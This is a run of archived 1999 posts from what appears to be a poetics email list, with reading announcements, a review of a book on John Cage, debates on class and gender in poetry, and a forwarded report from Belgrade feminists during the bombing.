I think you are so right here--"lady" poetics I call it. And it's not hard to understand why many younger women don't want to associate with the whole feminist thing. Though, these days, luckily, there are many strong counter-trends. The feminist poetics scene in SF nourished me--but it became clear fairly early on that I was not going to be supported there (quite the opposite) for the sexuality and vulgarity I was moving towards. (Though it wasn't as bad as when I recently read in Cambridge and nobody would look me in the eye or talk to me after my reading.) I had to go outside the feminists to male writers in order to find a safe bubble where I could develop my work, push it. Of course there was always Kathy Acker as an important model in the distance (for I didn't yet know her in the early 80s) but she was so impossibly hip in her buzz haircut and miniskirts and I was so impossibly not hip, there didn't seem much hope of a connection there. I'm greatful now to all the women that are my allies (and the ladies who aren't maintain a silence of tolerance). But it took a long time before any women were supportive of my work. I'm still reading feminist theory books (Rosi Braidotti is my new passion), and occasionally a kind soul such as Susan Gevirtz will talk to me about them.

Dodie

↑ Index

318. derek beaulieu / house press
Para>poetics
Thu 25 Mar 1999

Para>poetics reading series presents:
Canadian Poet Anne Szumigalski

7 PM Thursday, April 1, at Truck
Bsmt 815 1 St. SW (The Grain Exchange Building)

Calgary, Alberta

Anne Szumigalski's poetry explores the connection between myth, emotion, intellect, and spirit. A recipient of a number of awards, including the 1995 Governor General's Award, she is the author of over a dozen books, including Rapture of the Deep (1991), the voiced poem Journey/JournEe (with Terrence Heath, 1988), and most recently, On Glassy Wings (1997). She has also written works for stage play and for dance.

Everyone welcome. Admission free.
Sponsored by: the League of Canadian Poets and The Canada Council.

for info call Truck @ [redacted] or [redacted] or email jonathon wilcke at : [redacted]

↑ Index

319. Lowther,John

Thoughts about SILENCING THE SOUNDED SELF by Christopher Shultis

Thu 25 Mar 1999

S I L E N C I N G T H E S O U N D E D S E L F
John Cage and the American Experimental Tradition
by Christopher Shultis [Northeastern U Press 1998]

what cart?
what horse?

the intro lays out the poles of the study after noting that the inquiry "is governed by an assumption that an emphasis on process is a shared concern of all artists commonly regarded as experimental" (p.xvi) Shultis goes on to note that processes can be initiated in two ways

1) by a self controlling the process
2) by a self co-existing with process

next we are given 3 criteria against which to contrast those whose work fits with option 1 and option 2 - these are their attitudes about Nature, Symbolism, and the Unintentional

briefly

the <self which controls process> is outside of Nature, separate from it, is IN the environment, seeks to know, use, etc // uses Symbolism in the same way that it uses nature as a means to an end // and is closed to the unintentional

the 'self coexistent with process' is inside Nature, not separate, part OF the environment // uses natural objects as themselves instead of as Symbolic of other things // & is open to the Unintentional

ok

so far this is all intro - where CS lays out the presuppositions of the study to follow - this is all enmeshed with a contrast between Emerson (who will be aligned with Charles Ives, Charles Olson - Projectivists) and Thoreau (Cage, Objectivists) part of what i like in all of this is that CS is very careful to state that the poles of his comparison are in some sense hypothetical - intentionally overdrawn - and that what he's interested in is the gray area between them & how consideration of Cage is useful to charting this space Emerson and the Charles' Olson and Ives - via their 'projectivist' stance (retro application warning) are in CS's view 'dualistic' - Thoreau, the Objectivists and Cage are 'nondualistic'

i changed the heading of this post from "review" to "thoughts" b/c i find that i'm basically in sympathy with the book - and as Shultis has been quite careful in delineating just what he is making claims about and what he is not i find it hard to do much more than agree with the main points of the book within their chosen and carefully staked ground

those who have an investment in Emerson or Thoreau might have differences or wish to debate terms but i have not these investments and so in addition to recommending the book to anyone interested in Cage's poetics as well as to Olsonites and fans of the Objectivists and others i'd like to ask some questions about the 'gray area between the poles' that Shultis' study highlights

if - as Cage said - his purpose was purposelessness or perhaps - that nonintention was his intention then he does partake of both poles he intends not to intend some i'm sure find this contradictory just as Shultis (and maybe Cage fans generally) see it as breaking with the dualistic logic one finds in Emerson but an insistence on nonduality

but i wonder

i think Cage probably wd have said something similar and affirmed in some way what i hear Shultis affirming in his book but still i wonder whether it might be that Cage's position implies less a 'nondual' situation than a multiple one - i've read statements wherein he speaks against 'unity' in favor of 'multiplicity' is 'unity' a dualistic notion - maybe so but is non-dualism also built on a notion of unity ? one without any outside ?

so cd it be that Cage's position has less to do with an argument between 1 and 2 but instead poses in some way an argument for a 3rd position ?

in the Peircean triad each element necessarily mediates between the other two Cage's intention to be nonintentional mediates between the poles of Shultis' study likewise understanding what Cage is Intending in relation to "normal" Intention requires the mediation of some notion of Nonintention

just as understanding in what sense Cage's work is nonintentional must be mediated by the fact that he does it - Intends it at present this is all i have to say about this but i'd be curious to hear other's responses to the book and to my few sketchy remarks

)L

↑ Index

320. Pam Brown Invitation
Thu 25 Mar 1999

Dear Poetics List,
Please add this to your hectic calendar of events.
And please come along if you're in Sydney on April 9th

"overland" magazine editor Ian Syson and poetry editor Pam Brown invite you to the launch of a special "Four Poets" issue featuring previously unpublished poems by Judith Wright, the late John Forbes, Adam Aitken and Coral Hull with essays on their work by Gig Ryan, Martin Duwell, Ouyang Yu and John Kinsella.Plus Ken Bolton & John Forbes in poetic correspondence.Cover painting by Ken Searle, plus a supplement of painted portraits of poets by Jenny Mitchell accompanied by an essay by Carmel Bird, poetry by Lee Cataldi, Cath Kenneally, the Kelen brothers & everyone listed below, essays & reviews by Nathan Hollier, Kerry Leves, Rae Desmond Jones and others, plus the usual superlative local & global reports & articles & much much more.

Reading on the night - Adam Aitken, Carolyn Van Langenberg, Philip Hammial, Rae Desmond Jones, Mark O'Flynn and Kerry Leves.
Refreshments. Poetic Yakking. Everyone welcome
On Friday 9th April at 6pm at Gleebooks 49 Glebe Point Road Glebe Phone (02) 9660 2333

overland magazine website - http://dingo.vut.edu.au/~arts/cals/overland/overland.html

Best wishes,
Pam Brown
http://www.geocities.com/SoHo/Workshop/7629/

↑ Index

321. BETSY ANDREWS
Re: defensive poetry
Thu 25 Mar 1999

Well, let me weigh in with a bit of retro-biographical information about Howe that speaks against the really wierd idea that the "crappy papers" of bunch of "middle-class" students who love poetry at "middle-ground state universities" toll the death knell of "all joy in poetry":

In a 1995 Contemporary Literature interview, Lynn Kelly asked Howe," People objecting to experimental writing sometimes complain that whatever claims are made for its social engagement or marxist perspective, or its changing hegemonic structures of consciousness, that, in fact, the aduience it reaches is a very narrow, highly educated one, that the reader has to have tremendous intellectual confidence even to grapple with these texts. What do you think? Does that concern you?"

Howe's reply: "No. The objection offends me. I think it is part of a really frightening anti-intellectualism in our culture. Why should things please a large audience? And isn't claiming that the work is too intellectually demanding also saying a majority of people are stupid? Different poets will always have different audiences. Some poets appeal to younger people, some to thousands, one or two to millions, some to older people, et cetera. If you have four readers whom you truly touch and maybe even influence, well then that's fine. Poetry is a calling. You are called to write and you follow."

Howe's comments counter Rebecca's remarks from her post "Re: Shifts in Modalities" in two totally different ways. Firstly, Howe refuses to totalize. There are various aesthetic communities of readers and writers. There is no "all" anything. Secondly, Howe refuses to condescend. She's enraged by the condescension.

I wonder if Rebecca thinks being middle class is the problem, or going to a "middle-ground" state university is a problem--I have an MFA from one of those places, George Mason in Fairfax, VA,--I went there on purpose, and believe me, there was all sorts of joyous experimentation and intellectualism there. Or if that provisional term of hers, "love" of poetry is the problem. What does "love" in quotation marks mean?

> From: Grant Jenkins <[redacted]>
> To: [redacted]
> Subject: defensive poetry
> Date: Wednesday, March 24, 1999 6:17 PM
>
> >This [the posting about S. Howe's particularities] is exactly what I was > >talking about earlier when I said that "it [the shift into classrooms > >producing critics whose facilities are lamed] will happen and it will > >suck." I do not want to know what Susan Howe's family home was like and I > >do not want to know what her husband does for a living. Cultural studies is > >simple biographical criticism in thin disguise: an excuse for > >sensationalism and for those who are uncomfortable with ambiguity to write > >about where their subject was born and how many doctors were around the > >table, color of baby blanket, etc.
>
> Well, I guess I should come to my own defense--if I am able, being only a > lame, lowgrade academic.
>
> All snideness aside, I have a question for you, Rebecca: what exactly then > do you think is the "joy of poetry"?
>
> What I can gather from reading the texts of Susan Howe--letters, poems, > journals, marginalia--that it is precisely the textual particulars of > another that she finds to be the "joy of poetry." Reading Melville's > Marginalia, a colletion of his notations in books he was reading, inspired > her to write a poem that exposes the irony, uncertainty, and change in not > only Melville's "life" but also in history (another text). Immersing > herself in the manuscripts of Emily Dickinson, Howe reclaims and > reconsiders Dickinson in a feminist context. I read much joy, Susan's and > mine, in both of those works. The joy comes not just from the work but > that it was written, by someone.
>
> This is not biographical criticism because it does not distinguish between

> a "text" and a "life." Both are in language yet bear the traces of another > person who chose to write. Nor is this mere cultural criticism, as you > would have it. It's what Peter Neufeld in his post refered to as an ethics > that calls for a consideration of the uncertainty and alterity that mark > our reading of an other's texts. There is more at stake than just figuring > out "what it means." Anyway, I don't know to many academics who have this > goal. (Isn't so much of the poetry that we all enjoy and feel invested in > marked by a blur between poetry and criticism? Must we draw that line in > the sand again? Why?)
>
> For me, the joy of poetry comes not just from New Critically reading (or > writing) the Genius of a poem, In Itself. But from following the textual > threads out of the work and into other texts and other uncertainties, ad > infinitum. Not knowing "what it means" is the greatest joy.
>
> Grant

↑ Index

322. pete spence

Re: Ray Johnson Review

Thu 25 Mar 1999

> Thrill compels me again to say a little of what i've recently seen. A retrospective of the collagist and mail artist Ray Johnson closed last Sunday at the Whitney Museum,

,,,,there was also supposed to be a contemporary mail-art exhib at the whitney dedicated to R J haven't seen much mention of it in various docs i've seen on the show, did it happen??? 'cause i had a thing in it and also a collab with c vleeskens in it//pete spence Get Your Private, Free Email at http://www.hotmail.com

↑ Index

323. Garrett Kalleberg

Snake Hiss is Musick to Your Ears

Thu 25 Mar 1999

Announcing: Snake Hiss / A Transcendental Friend Audio Project

Snake Hiss is the inaugural CD from Immanent Audio, an imprint of Morningred Dot Com, produced by Debug & Co. The works on this disk were made by contributors to the Transcendental Friend as audio projects - works meant to be experienced as sound. From Anselm Berrigan's slanky sprechgesang with Edmund Berrigan on sprechguitar, to Laird Hunt's eerily driven Medeival tale to the accompaniment of 1000 humming Niebelungen, to Jen Hofer's spontaneous auto-lyricical-combustion on the Bay Bridge, to Heather Fuller's C-Wing Sub-Level 3 interrogation of a microphone, these works represent a wide variety of approaches to poetry & sound.

Alan Gilbert & Garrett Kalleberg present "Pharmacality," a dialogic montage with Antonin Artaud, Roger Blin & Jacques Derrida. Lisa Jarnot performs her "Armadillo" on the streets of Queens, NY. Marcella Durand reads "Hunt" and "Tnuh" at the same time (some distortion cannot be avoided). Jonathan Skinner performs his translation of Ghrasim Luca's "15 Min. Meta-physical." (Skinner reports that his arms were sore for days afterwards.) Duncan Dobbelmann reads his translation of Paul Van Ostaijen's "Sur les Ponts de Paris," written in the aftermath of Great War Europe, against a sonic mediascape. Daniel Machlin & Serena Jost perform "14 Days, 30 Seconds," a collaborative diary of the creative life of a poet, a musician, a cello, keyboard, bass, acoustic and slide guitar, and various household paraphernalia. Jen Hofer improvises "What I Mean to Say" and "Good Directions" on the S. F. Bay Bridge. Laird Hunt reads his translation of "The Vair Palfrey," from the Old French of Huon le Roi. Cole Swensen's "Maestà" is presented as a montage of voices in counterpoint. Jesse Glass reads P. M. Deshong's "A Dream," a visionary poem by an unknown 19th century Maryland poet. Heather Fuller recorded "stricken [from]" with an unknown accomplice. Anselm Berrigan performs "Fortune's Drift," with Edmund Berrigan on guitar. Heather Ramsdell & Garrett Kalleberg perform "Send in the Clown," a piece for two voices and pratfalls. There is a bonus track.

Sound samples, in the mp3 file format, can be heard from the Snake Hiss page at > http://www.morningred.com/immanentaudio/pages/snakehiss.html.

For orders, send a check to: Debug & Co. / 71 Devoe Street, 3L / Brooklyn, NY 11211.

The Snake Hiss CD is $12, including postage. (All packages sent first class mail.) Be sure to include your name and address, all that stuff.

For bulk orders or other inquiries, please write [redacted], or contact Garrett Kalleberg, at [redacted].

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

324. Garrett Kalleberg
Critique of Instrument's Reason - TF9, March 1999
Thu 25 Mar 1999

Announcing TF9, March-April 1999 - Instruments

> http://www.morningred.com/friend/1999/03/cover.html

Issue No. 9 of The Transcendental Friend is called "Instruments" as a tribute to those who contributed work to the Snake Hiss CD. Snake Hiss is an Audio Project of the Transcendental Friend, released for the one year anniversary celebration of TF - a truly wonderful reading and evening in New York (thank you all!).

This issue of the Schizmata offers "Pas de deux + others," recent work by the remarkably inventive Stacy Doris, protege of Lully and de Sade, ballet not included.

This month's Report from Afield is the first edited by Leonard Schwartz, connoisseur of Gnostic and early Christian speed metal techniques, and includes work by Danish poet Katrine Marie Guldager (translated by Anne Mette Lundtofte) and Russian poet Alexander Ulanov (translated by the author and Michelle Murphy).

Kristen Prevallet, currently under the employ of "Angel" Heurtebise in the manufacture of musical instruments made of fire, presents early work by Jean Cocteau in this month's Idiosyncratica.

The Bestiary features a short piece by virtuoso radio player (and part time microscopist) Heather Ramsdell, called "Newt."

This issue's Project page contains more information about the Snake Hiss CD, as well as sound samples in the mp3 format.

Thanks for your interest!

(And thank you everyone for your well-wishes for our one year anniversary.)

Yours truly,

Garrett

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

325. P.Standard Schaefer
RIBOT
Thu 25 Mar 1999

This year's publication of the College of Neglected Science, Ribot #7, will be co-edited by Paul Vangelisti and myself. The theme is music. Not necessarily meditations on music, but certainly work with musicality involved. The deadline for that issue is, frankly, right upon us. April 15. The issue is filling up quickly, but anything received by then will be considered.

Send submissions to:

PO Box 65798, LA CA 90065

↑ Index

326. P.Standard Schaefer
Otis MFA
Thu 25 Mar 1999

For those who have asked about more information regarding the Otis MFA program, the Otis website address is-- www.otisart.edu

The requirements are listed below.

MFA IN WRITING

First Year

Critical Theory & Practice (3 units - 2 semesters) — Two-semester, joint offering with the Graduate Program in Fine Arts, required of both first year Fine Arts and Writing students. The course is an in-depth examination of a critical or theoretical text, focusing on contemporary issues in the verbal and visual arts, and how the text and the issues raised ultimately relate to the students' own work.

Fiction Workshop/ Poetry Workshop (4 units - 2 semesters) — Two-year course sequence in the student's area of emphasis, i.e. fiction or poetry, with a different poet or fiction writer each semester. Also, as part of the course, the student will meet with the program director, as well as other graduate faculty during the semester.

Writing as Critical Practice (3 units - 2 semesters) — Two-year course sequence in which both fiction writers and poets discuss practical critical issues by focusing on a literary historical or genre issue, such as the epic tradition, the quotidian, writing as social sign, the contemporary literary scene, etc. Topics and instructors will rotate on a semester basis.

Special Topics in Literary Studies (3 units - 2 semesters) — First year sequence: "Translation Seminar" (in which students will attempt fiction or poetry translations, confronting the fundamental problem of literary translation, as well as acquiring some first-hand knowledge of literary traditions outside that of Anglo-American literature); and an elected course from pertinent "Advanced Topics in English" offerings, designated for upper division/graduate credit.

Units: 26

Second Year

Fiction Workshop/ Poetry Workshop (4 units - 2 semesters)

Writing as Critical Practice (3 units - 2 semesters)

Special Topics in Literary Studies (3 units - 2 semesters) — Second year sequence: "History & Practice of the Book" (an examination of the material history and theory of the "book," and its continuing problematic issues of reception, in which students will construct a small book that embodies the personal and public concerns implicit in their own writing); and an elective from "Advanced Topics in English" offerings.

Art History Elective (2 units - 1 semester) — To be chosen, preferably in first semester of second year, from the "Art History & Theory" courses offered in Liberal Studies.

Writer's Tutorial (3 units - 1 semester) — Second year students meet once a week with the director and other instructors to discuss work or issues of particular importance to their progress in the program.

Units: 25

Fifth Semester (with non-resident option)

Thesis (4)

TOTAL PROGRAM UNITS: 55

↑ Index

327. Mairead Byrne
Re: shifts in modalities
Thu 25 Mar 1999

I tend to agree with Tom Bell on this. Rebecca's post struck a number of jangling notes for me. I probably do love poetry, like I love air (even though I'm almost afraid of breathing around here when I see the black veil that shrouds snow after only a few days). I probably also love books. My PhD is probably not from the type of institution Rebecca's frustrated professor emerged from. And yes, I have written all those "crappy papers." I might even be middle-class -- at least I fervently hoped so when I was a child, though the last 20 years has been quite disappointing on that front. Anomalous is probably the word that best describes my grad student / teaching experience. I don't know which is more wearying: Rebecca's common rendering or the baffling and ongoing anomalies which are my daily experience of teaching, writing, reading and trying to support a family in this country. Mairead On Wed, 24 Mar 1999, Thomas Bell wrote:

> I may be white, male, and of working class background. I still am a 'working' person and did put myself through a middle-ground state university by working my way through it. I attended some of the classes mentioned and wrote my share of crappy papers. I did eventually switch majors and depart from the scene referred to but I prefer to think it was because of my perceptiion of the basically hypocritical and political atmosphere of literature and writing programs (this was thirty years ago so no one here need take offens). I find the comments below offensive to me, my children, and their teachers, among others.

↑ Index

328. Kathy Lou Schultz
Re: gender class poetics poetry
Thu 25 Mar 1999

I found Grant Jenkins post (thanks for "de-lurking") concerning Susan Howe to be extremely useful--and I strongly agree with Rebecca Wollf's simplistic dismissal of it. What Jenkins importantly highlights is the conditions of production and the possible relationship(s) between that and the writing process and product. What he was NOT doing is drawing a simple straight line between a writer's biography and a particular assesment of the writing. The conditions of a writers' production are IMPORTANT. Who has control of the means of production in publishing is important. Who has access to those who control the means is also very important. Yes, there is a cultural elite in this country. One of the problems inherent in drawing lines around a category such as "working class writing," however, is that what is recognized as being a part of that category is usually a narrative description of an "appropriate" content: in this case, working, usually in fact men's work. It's interesting to me, too, that a writer's own class is proposed as not being a necessary factor for their work to be considered as part of "working class writing." What I always think of is the category of "African-American literature." What would happen to that category if we applied the same rule? Not that I'm defending these categories. On the contrary what I'm interested in is how these categories are developed and perpetuated within literary criticism, and how they relate to the process of canonization. And finally, by the way, I don't think that cultural studies is some kind of weak veil for "biographical criticism." Kathy Lou Schultz

>Grant Jenkins:
  Class pressures and situations condition >every aspect of a writer as well as his or her relationship to culture, >community, and history. Howe's upper-middle class upbringing in the >household of a Harvard University professor as well as her marriage to a >famous sculptor--just to name 2 of many many factors--provided her with >many economic/social opportunities (and problems) that she does not >incorporate consciously into her work.
>
>Furthermore, there is no necessary or predetermined relation between class >and poetic production. The meaning of those pressures and how they shape a >life/work is a matter of careful study and analysis of particular >situations.

↑ Index

329. Kevin L. Magee

Re: Sondheims Kattrin posted 24 Mar 01:58:44

Thu 25 Mar 1999

Hello

Is there any more info on Peter Evans' September virtual writing residency that could be forwarded to the poetics list?

worker 1:
THE INTERNET IS INFORMATION INFORMATION IS KNOWLEDGE KNOWLEDGE IS POWER

worker 2:
WASHINGTON IS PREPARING FOR WAR WITH RUSSIA

↑ Index

330. Dubravka

[Fwd: [Fwd: Belgrade: a feminist report]] (fwd)

Fri 26 Mar 1999

---

dear lsit, i sent this to charls bernstein, but send to the list also.
this is the massage from belgrade pacifist groups. thanks to charles and all friends to love and support. i hope i will write more soon .. it is really horrible
dubravka djuric

Forwarded message ---------- Date: Thu, 25 Mar 1999 22:17:12 +0100
From: Zarana Papic <[redacted]>
To: Aco Divac <[redacted]>,
Alain Lipietz & Francine Comte <[redacted]>,
Aleksandar Kron <[redacted]>,
Aljosa Mimica <[redacted]>, Brana Stojkovic <[redacted]>,
Chele <[redacted]>, Danica Ilic <[redacted]>,
Darka Radosavljevic <[redacted]>,
Dimitrije Todorovic <[redacted]>,
Dragan BULATOVIC <[redacted]>,
Dragica Vujadinovic-Milinkovic <[redacted]>,
Dragoljub Zarkovic <[redacted]>,
Drinka Gojkovic <[redacted]>,
Dubravka Djuric <[redacted]>,
Dunja Blazevic <[redacted]>, Duska <[redacted]>,
Evropski pokret u Srbiji <[redacted]>,
Goran Milicevic <[redacted]>, Ivana Aleksic <[redacted]>,
Iveta Todorova <[redacted]>, Jelena Djordjevic <[redacted]>,
Jelena Santic <[redacted]>, KOTEVSKA Ana <[redacted]>,
Liga socijaledmokrata Vojvodine <[redacted]>,
Marija Bogdanovic <[redacted]>,
Milena Dragicevic-Sesic <[redacted]>,
Mima Pesic <[redacted]>,
Mirjana Kovacevic <[redacted]>,
nikola tucic <[redacted]>, Pedja Dojcinovic <[redacted]>,
Rade Veljanovski <[redacted]>, Rastko Mocnik <[redacted]>,
Slobodanka Ast <[redacted]>,
Snjezana Milivojevic <[redacted]>,
Srdjan Darmanovic <[redacted]>, Srdjan Rajkovic <[redacted]>,
Svetlana Slapsak <[redacted]>,
Tinde Kovac-Cerovic <[redacted]>,

vesna rakic-vodinelic <[redacted]>,
Zaga Golubovic <[redacted]>, Zarko Paunovic <[redacted]>
Cc: Autonomous Women's Center Against Sexual Violence <[redacted]>
Subject: [Fwd: [Fwd: Belgrade: a feminist report]]

autonomous women's center against sexual violence
tirsova 5a, beograd, fr yugoslavia
tel/fax: 381.11.687.190
e-mail: [redacted]

-------- Original Message --------
Subject: Belgrade: bombing day second
Date: Thu, 25 Mar 1999 18:29:51 +0000
From: "Women's Center Belgrade" <[redacted]>
To: Zarana Papic <[redacted]>

Belgrade, 24 march, 99
2pm.

dear friends,

we have received many letters of support, calls from our friends
from Bosnia, Croatia and Slovenia, thank you.
The situation:
Many women are affraid more or less. last night some of us have worked in the Womens Center untill 9pm, and after that the town was calm and empty, and some citizens were around entrance of houses and some in the cellers.
The parts of the town near the military bases felt hard detonations and saw the fire. Those in the center of town did not.
The telephone lines have become difficult.

The worry of pacifists is the situation on Kosovo. First, most artillery the serbian army has concentrated in the region of Kosovo. Last night i finally caught the telephone lines with Pristina and talked to my friend, and she said that the biggest worry is the vengeance of serbian army against albanian population. The CNN and BBC TV stations are obviously very pro-violence oriented and they have inflicted much fear into people in Kosovo, on top of the facts that are fearfull in themselves. The serbian officials have cut electriciy in Pristina last night, and tuned in this morning. The cutting of electricity was clearly the act of producing more fear on the one already there. So you can imagine the mood in Pristina. This morning there is no bread and milk in most of the shops in Belgrade and Pristina. and it is a beautifull sunny day.

The fact that enrages is that serbian regime has totally and apsolutelly taken the control of all the media. Which means that only few words come in, and that language of hatred, production of enemies and vengeance politics is increasing every minute. Four TV stations fused in one and two others in the other one. The people who do not have satellite TV get few news per hour, about shelters and enemies, and nothing else. This is as well frightening.

Many women did not sleep last night, and sirenas are on and off every couple of hours. So some of us are constatly on the phone with those who feel bad.

Once again feminists and pacifists from Belgrade are again this time sending sisterly tender words for our friends and Albanian women and their families in Kosovo.

lepa mladjenovic

autonomous women's center against sexual violence
tirsova 5a, beograd, fr yugoslavia
tel/fax: 381.11.687.190
e-mail: [redacted]

↑ Index

331. david bromige
re C Daly & Loyola fans
Fri 26 Mar 1999

Actually, I only posted because Aldon Neilsen has been indisposed, and this indisposition removes him some 70 miles from his computer. And because I am his friend, and because I support the series at Loyola, and because . . . . Wd be glad to hear a full report. I am removed some 400 miles from this series.

I can understand C Daly's misgivings abt the spelling of my name. She is not the first. Besides Bromige (which is how I write it), there is Bromage, Bromidge (which is how I say it) and Bromwich. It is sd to derive from old english words either for dairy farm or for the ridge where the broom grows, and would pin the ancestors to the W Midlands. But London is a melting-pot, so quien sabe? I found a chemistry treatise by a Jugoslav whose name is Bromig. Possibly this is pron. as the c in Simic wd be were he in the land of his birth : tch.

But then again, there is a name on the subcontinent Brahmaraja or close, and that wd be the most suitable for me. Of course, there are alternative spellings of many names, (Daley for e.g. with Daly) no doubt due to illiterate precursors. Accent determined spelling, impinged on the 'norm' of the scribe. As with all those Ellis Island, excuse the pun, christenings. (Or variants on port of origin : Heiftiz, Jaffe, Jaffer. . . . Or variants on verb-forms most assoc. with the person : e.g, Bowering, from Borrowing. [smiley face here].) When a very young movie and tv fan,our daughter would speak of Alfred Hedgehog, which was probably one origin of the name Hitchcock.

A name feels cast in concrete but is constantly redefining. Like for e.g. _The Fall of Because_ a new work by Dave Baratier is and isnt a sonnet sequence. (Btw, I recommend this for a thorough reading. I think it isnt available quite yet, but I'll post those details) David

↑ Index

332. Ben Basan
Class
Fri 26 Mar 1999

I'm glad the issue of class has cropped up because for years I've wondered what class is. It's interesting to me that whenever class is discussed actual definitions of class seem to evade the argument. Since I have spent my life thus far between America and the UK I would have thought that, particularly from living in the UK, I should have some idea of what class is. I have asked this question before and have had answers ranging from the idea of wealth being tied with class to simply an accent. That class and language are connected in some way is tempting; so is it language that separates the classes?

I've been told several times that because I don't know what class I am I must be middle class; On my first or second day of my undergrad. degree a lecturer told us that no matter what we thought we were, we are now middle class since we entered a university course. My nieghbor who alone earns more than my wife and I together considers himself working class (he does have the accent). this class issue seems to me awfully muddled, as I think much of this anterior identity seeking is.

I don't mean to be confrontational. I simply do not know what class is... that is not to say I don't see social discrepancies between individuals or groups, but to add the structure of class...?

Benjamin Basan

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

333. david bromige
class etc in poetry
Fri 26 Mar 1999

This topic is one I follow with interest. I dont know if what I'm about to say, adds anything to the literature on the subject. To testify, I was born to a couple from the British workingclass, and many of my class-loyalties lie there. But my parents were omnivorous readers. So were my sister and I. My taste in reading became sophisticated beyond that of a number of my classmates. I won a scholarship to an upper-middle-class school. I was attacked by workingclass kids on my way home from school, all that. My love of reading made me a fan of many persons who would never have sat down to break bread with our family. Evelyn Waugh started higher than I and aspired yet higher, a horrible snob. But what he could do with narrative and dialog was seductive. Why I Dont Do Social Realism, etc. Writing well takes time, and time takes money, and so the monied classes have given us a 'disproportionate' number of authors. Tilt.

In my work "Lines" e.g.

```
                    dark night of the soul
                    ----------------------
                    currently unemployable

or                    to be human is to be a conversation
                    -----------------------------------
                    i'm doin okay
```

I hear among whatever else an underclass avenger subverting an overclass person of letters, while effecting an odd reconciliation. Even in

```
                   parricide
                   ---------
                   commonly botched
```

I read a murderous inpatience with caste. But I misgive that a blue collar would find such as enjoyable as cowboy verse.

Class feels particularly evasive in the U S A. In Canada, as someone brilliantly generalized, everyone is workingclass. (Exceptions shut up!) In England, where they tell you class is breaking down, which is a load of bollocks, it's mainly overclass kids adopting cockney accents, class remains manifestly a prime shaper of attitudes, expectations, diction, literature. 'Manifestly,' --yet sub rosa.But the U S A . . .I was shocked to encounter signs of class war (as subtler, but no less unmistakable, than, i.e., the bosses' cops gunning down workers) upon coming here. Like much of the rest of the world, I suspect, I had been focussed upon the egalitarian presumption.

There's more to say, but this is long enough. David

↑ Index

334. Rebecca Wolff
Re: shifts in modalities
Fri 26 Mar 1999

I am afraid I made myself un-understandable by a too-swift posting. My use of the quotation marks around "love books" and "love poetry" was meant to indicate not irony but sincerity.

Did not mean to offend. Meant to try to explicate my particular frustrations, which I am sure are quite particular.

I think I'll shut up now.

Rebecca Wolff

↑ Index

335. Rebecca Wolff
Re: and again I shut up
Fri 26 Mar 1999

And let me try to dig myself even a tiny little bit further out of the hole by saying that I don't identify with the "well-trained professor" of my oh-so-hasty posting, but rather more with the "folks." Reading over what I said now I can only lament how ironically I expressed myself. Really I'm amazed, more than anything, at the fluctualities of the inflections of my tones there.

There are, of course, opinions expressed in the posting that I do stand by, but they are not particularly well-expressed.

Thank you, and good night.

↑ Index

336. travmar03
Fw: April 3, 1999 --
Fri 26 Mar 1999

Watch for the Age in its Cage and other spectacular feats of daring by the amazing duo:
-

> Stephen Rodofer and Shawn Walker
> Highwire Gallery
> 139 N. 2nd Street
> Philadelphia
> Saturday April 3, 1999
> 8 PM
> BYOB

> Stephen will give a talk titled: The Age in its Cage
> At 5 PM at the Writers House.
>
> Bring a friend, a family member, a small pet, and a whole lot of endurance.
> E-mail this out to any you may think are interested.
>
> xoxo
> your sponsors
> Fuchs and Connor

↑ Index

337. Poetry Project

Re: query--poetry project newsletter

Fri 26 Mar 1999

Said rumor is just that. The Newsletter will be retaining it's molecules for a thousand years, or at least until the war in Yugoslavia escalates.

A. Berrigan

ps -- it might be nice to know how the rumor got started, seeing as how gossip & news are one and the same on just about every level of the culture at the moment. On the backside, tho'.

> Date: Wed, 24 Mar 1999 18:00:11 -0800
> From: Mark Weiss <[redacted]>
> Subject: query--poetry project newsletter
>
> Heard a rumor today that I hope is unfounded that the St Marks Poetry Project Newsletter is soon to be no more. Confirm, deny, or elucidate?

↑ Index

338. maz881

Re: Page Mothers & Delinquent Daughters

Fri 26 Mar 1999

Yes, Linda. I disagree with that quote too, which i noted at the time. I was saying it was one way that l-p could be read. And thank you for pointing out the problems that result from that reading (eg gender gets nullified).

i also agree with you in that i don't see l-p as a relevent term or grouping now. i tend to believe it was real at one point tho. and admire the energy and work that resulted from it.

I think I misread your original post, where somehow it seemed you were the one calling for more "taxonomies" like l-p. i can't see where i or tom0 were calling for new taxonomies.

I guess i read the open letter issue as a taxonomy "move" like l-poets made. Here is some theoretical work and here are some of my friends here, here and here, and here are their poems and we're united against capitalism. and you can tell that by the disconnected style we use. also i think some of the writers included in that issue were a little surprised to find themselves apparently unified under the rubric of jeff.

so my problem i suppose is that move was interesting (to me) back when i was starting to read. but now it sounds hollow. editing projects that are more interesting to me don't group by form, friends, loyalities. i think the New (Am) anthos suffers from a lyrical form grouping, a weird nationalist grouping and not enough people of color. tho it has the advantage of not surrounding the poems with theoretical constructs through which we are supposed to read. chain is a funny example because it groups by form. but discrete form, not the correct form of a new movement. the end result is hard to describe. which is good. tinfish has a similar confusion, tho grouped around "region".

identity groupings by gender, race, class, seem more valuable to me. or valid. or grounded in their opposition, but i don't have the theoretical vocabulary to say anything relevent re . i guess i am suspicious of the new open letter's largely white grouping. it is a problem of the avant-gararge. i suppose i am part of that problem too.

i guess what i meant by many to many relationships is to avoid seeing yourself as part of one mini-group composed of relatively similar reflections of yourself. because that leads to mini-group fight. eg langp-po nyc mini group and nyc school mini-group in early 80s. if bruce andrews reads 1st with elinor nauen, l-poets stay for bruce and walk for elinor. nyc school poets show up late and miss bruce. they dislike each other for no good reason i can think of.

contradictorily, i believe it's important, maybe even vital, to have close writer friends and alliances. and those friendships, those mini-groups tend to be fairly homogeneous wrt to the big identity 3. friendship "is" that way. but it's vital to seek out much that is outside that mini-group. to break down the notion that friendship is natural.

so you can see i don't really know what i mean by grouping. an essay i like is called SpiderWasp and literary criticism by J spahr, the ideas of which i seem to be summarizing rather poorly: "There is clearly right now an increase in mismatchings, in joinings. . . . and the joinings that are happening here are as diverse as the things joined. But nonetheless, all this work can be characterized by its refusal of allegiance to any specific school and a parallel proclamation of an allegiance to more than one school."

i think that is a getting at of a definition of many to many. which is a relational database term. take user and group as entities (tables). if there is a many to many relationship between these entities, one user can be in many groups and one group can contain many users.

